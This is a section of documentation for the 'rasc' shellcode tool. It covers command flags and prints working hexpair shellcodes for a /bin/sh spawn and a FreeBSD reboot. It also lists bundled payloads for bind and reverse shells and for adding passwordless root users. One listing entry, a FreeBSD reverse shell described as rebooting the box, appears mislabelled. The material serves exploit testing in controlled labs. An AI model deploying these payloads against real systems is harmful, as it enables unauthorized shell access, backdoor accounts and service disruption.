# 15.1 Shellcodes

Rasc contains a database of small shellcodes for multiple operating systems and so..it is useful for fast exploiting on controlled environments. You can get the list with the '-L' flag. Choose it with the '-i' flag.

You can also specify your own shellcode in hexpairs with the '-s' flag or just get it from a raw binary file with the '-S' one.

The return address can be specified with '-a' so you will not have to manually rewrite the return address for multiple tests.

    $ rasc -h | grep addr
      -a addr@off  set the return address at a specified offset

    $ rasc -N 20 -i x86.freebsd.reboot -x -a 0x8048404@2
    90 90 04 84 04 08 90 90 90 90 90 90 90 90 90 90 90 90 90 90 41 31 c0 50 b0 37 cd 80

The supported output formats are:

      -c           output in C format
      -e           output in escapped string
      -x           output in hexpairs format
      -X           execute shellcode

Some of these shellcodes can be modified by environment variables:

     Environment variables to compile shellcodes:
      CMD          Command to execute on execves
      HOST         Host to connect
      PORT         Port to listen or connect

    $ rasc -i x86.linux.binsh -x
    41 31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 50 53 89 e1 99 b0 0b cd 80

    $ rasc -L
    arm.linux.binsh        47   Runs /bin/sh
    arm.linux.suidsh       67   Setuid and runs /bin/sh
    arm.linux.bind        203   Binds /bin/sh to a tcp port
    armle.osx.reverse     151   iPhone reverse connect shell to HOST and PORT
    dual.linux.binsh       99   x86/ppc MacOSX /bin/sh shellcode
    dual.osx.binsh        121   Runs /bin/sh (works also on x86) (dual)
    mips.linux.binsh       87   Runs /bin/sh (tested on loongson2f).
    ppc.osx.adduser       219   Adds a root user named 'r00t' with no pass.
    ppc.osx.binsh         152   Executes /bin/sh
    ppc.osx.binsh0         72   Executes /bin/sh (with zeroes)
    ppc.osx.bind4444      224   Binds a shell at port 4444
    ppc.osx.reboot         28   Reboots the box
    ppc.bsd.binsh         119   Runs /bin/sh
    sparc.linux.binsh     216   Runs /bin/sh on sparc/linux
    sparc.linux.bind4444  232   Binds a shell at TCP port 4444
    ia64.linux.binsh       63   Executes /bin/sh on Intel Itanium
    x64.linux.binsh        46   Runs /bin/sh on 64 bits
    x86.bsd.binsh          46   Executes /bin/sh
    x86.bsd.binsh2         23   Executes /bin/sh
    x86.bsd.suidsh         31   Setuid(0) and runs /bin/sh
    x86.bsd.bind4444      104   Binds a shell at port 4444
    x86.bsdlinux.binsh     38   Dual linux/bsd shellcode runs /bin/sh
    x86.freebsd.reboot      7   Reboots target box
    x86.freebsd.reverse   126   Reboots target box
    x86.linux.adduser      88   Adds user 'x' with password 'y'
    x86.linux.bind4444    109   Binds a shell at TCP port 4444
    x86.linux.binsh        24   Executes /bin/sh
    x86.linux.binsh1       31   Executes /bin/sh
    x86.linux.binsh2       36   Executes /bin/sh
    x86.linux.binsh3       50   Executes /bin/sh or CMD
    x86.linux.udp4444     125   Binds a shell at UDP port 4444
    x86.netbsd.binsh       68   Executes /bin/sh
    x86.openbsd.binsh      23   Executes /bin/sh
    x86.openbsd.bind6969  147   Executes /bin/sh
    x86.osx.binsh          45   Executes /bin/sh
    x86.osx.binsh2         24   Executes /bin/sh
    x86.osx.bind4444      112   Binds a shell at port 4444
    x86.solaris.binsh      84   Runs /bin/sh
    x86.solaris.binshu     84   Runs /bin/sh (toupper() safe)
    x86.solaris.bind4444  120   Binds a shell at port 4444
    x86.w32.msg           245   Shows a MessageBox
    x86.w32.cmd           164   Runs cmd.exe and ExitThread
    x86.w32.adduser       224   Adds user 'x' with password 'y'
    x86.w32.bind4444      345   Binds a shell at port 4444
    x86.w32.tcp4444       312   Binds a shell at port 4444